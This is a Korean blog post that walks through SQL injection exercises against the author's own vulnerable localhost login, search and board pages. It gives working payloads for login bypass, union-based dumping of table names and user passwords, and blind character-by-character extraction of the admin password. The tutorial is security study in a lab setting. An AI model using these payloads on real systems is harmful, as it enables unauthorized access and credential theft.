개발 블로그

[웹 보안] 공격 실험 본문

Study/Web Security

[웹 보안] 공격 실험

카메얀짱 2026. 5. 26. 04:29

🐢 안녕하세요, 카메입니다.
저번에 마쳤던 간단한 취약 웹 페이지를 통해 오늘은 공격 실험을 해보도록 하겠습니다.


단계 1: Basic SQL Injection (로그인 우회)

http://localhost/login.php에 접속해서 아래 값들을 입력합니다.
 
실험 1-1: 정상 로그인 (비교용)

  • 아이디: admin
  • 비밀번호: admin1234

-> 로그인 성공이 뜰 거예요. 이건 정상적인 경우입니다.

 
실험 1-2: 틀린 비밀번호

  • 아이디: admin
  • 비밀번호: wrongpass

-> 로그인 실패가 뜨는 걸 확인하실 수 있습니다.

 
실험 1-3: SQL Injection 공격

  • 아이디: ' OR 1=1 -- (-- 뒤에 공백 한 칸 있습니다)
  • 비밀번호: 아무거나 (예: aaa)

-> 비밀번호를 모르는데도 로그인 성공이 뜨면 공격 성공입니다.

 

단계 2: Union-based SQL Injection

http://localhost/search.php에 접속해서 다음을 진행합니다.
 
실험 2-1: 정상 검색 (비교용)
검색어에 공지를 입력 -> 공지사항 글이 검색되는지 확인합니다.

 
실험 2-2: 컬럼 수 파악 (ORDER BY)
검색어에 아래를 하나씩 입력해봅시다.

  • ' ORDER BY 1 -- → 정상 출력
  • ' ORDER BY 2 -- → 정상 출력
  • ' ORDER BY 3 -- → 정상 출력
  • ' ORDER BY 4 -- → 정상 출력
  • ' ORDER BY 5 -- → 에러 또는 결과 없음
' ORDER BY 1 -- → 정상 출력
' ORDER BY 2 -- → 정상 출력
' ORDER BY 3 -- → 정상 출력
' ORDER BY 4 -- → 정상 출력
' ORDER BY 5 -- → 에러 또는 결과 없음

에러가 나는 숫자 직전이 컬럼 수입니다.
 
실험 2-3: UNION SELECT로 DB 정보 탈취
컬럼 수가 4개임을 확인했으면 검색어에 이걸 입력합니다.

' UNION SELECT 1,database(),user(),version() --

 
-> 데이터베이스명, 사용자명, MySQL 버전이 표시된 것을 확인할 수 있습니다.
 
실험 2-4: 테이블 목록 조회

' UNION SELECT 1,table_name,3,4 FROM information_schema.tables WHERE table_schema=database() --

 
실험 2-5: users 테이블의 컬럼 조회

' UNION SELECT 1,column_name,3,4 FROM information_schema.columns WHERE table_name='users' --

 
실험 2-6: 사용자 데이터 탈취 (최종 목표)

' UNION SELECT 1,username,password,4 FROM users --

-> 모든 사용자의 아이디와 비밀번호가 화면에 노출되면 공격 성공입니다.
 

단계 3: Blind SQL Injection

http://localhost/blind.php에 접속해서 다음을 진행합니다.
 
실험 3-1: 정상 조회 (비교용)

  • ID에 1 입력 → "게시글이 존재합니다." (초록색)
  • ID에 999 입력 → "게시글이 존재하지 않습니다." (빨간색)
ID에 1 입력 → "게시글이 존재합니다." (초록색)
ID에 999 입력 → "게시글이 존재하지 않습니다." (빨간색)

 
이 두 응답의 차이가 Blind SQL Injection의 핵심이에요. 에러 메시지 없이도 참/거짓만으로 정보를 알아낼 수 있습니다.
 
실험 3-2: 참/거짓 응답 차이 확인

  • 1 AND 1=1 → 존재합니다 (참)
  • 1 AND 1=2 → 존재하지 않습니다 (거짓)
1 AND 1=1 → 존재합니다 (참)
1 AND 1=2 → 존재하지 않습니다 (거짓)

 
 
이렇게 조건의 참/거짓에 따라 응답이 달라지면 Blind SQL Injection이 가능하다는 뜻입니다.
 
실험 3-3: 데이터베이스 이름 길이 알아내기

  • 1 AND LENGTH(database())=1 → 거짓
  • 1 AND LENGTH(database())=5 → 거짓
  • ...
  • 1 AND LENGTH(database())=12 → 참
1 AND LENGTH(database())=1 → 거짓
1 AND LENGTH(database())=5 → 거짓

 

1 AND LENGTH(database())=12 → 참

 
 
데이터베이스 이름이 web_security니까 12글자에서 참이 나올 것입니다.
 
실험 3-4: 데이터베이스 이름 한 글자씩 추출
SUBSTRING과 ASCII 함수를 이용해서 한 글자씩 알아내도록 합니다.

  • 1 AND ASCII(SUBSTRING(database(),1,1))=119 → 참 (119는 'w')
  • 1 AND ASCII(SUBSTRING(database(),2,1))=101 → 참 (101은 'e')
  • 1 AND ASCII(SUBSTRING(database(),3,1))=98 → 참 (98은 'b')
1 AND ASCII(SUBSTRING(database(),1,1))=119 → 참 (119는 'w')
1 AND ASCII(SUBSTRING(database(),2,1))=101 → 참 (101은 'e')
1 AND ASCII(SUBSTRING(database(),3,1))=98 → 참 (98은 'b')

 
 
이런 식으로 한 글자씩 추출하면 web_security라는 DB 이름을 알아낼 수 있습니다.

1 AND ASCII(SUBSTRING(database(),3,1))=65 → 거짓 (65는 'A')

 
실험 3-5: 관리자 비밀번호 추출
같은 원리로 users 테이블의 비밀번호도 추출할 수 있습니다.

  • 1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=97 → 참 (97은 'a')
  • 1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1))=100 → 참 (100은 'd')
  • 1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),3,1))=109 → 참 (109은 'm')

이렇게 하면 admin1234라는 비밀번호를 한 글자씩 알아낼 수 있어요.

1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1))=97 → 참 (97은 'a')
1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),2,1))=100 → 참 (100은 'd')
1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),3,1))=109 → 참 (109은 'm')
1 AND ASCII(SUBSTRING((SELECT password FROM users WHERE username='admin'),3,1))=120 → 거짓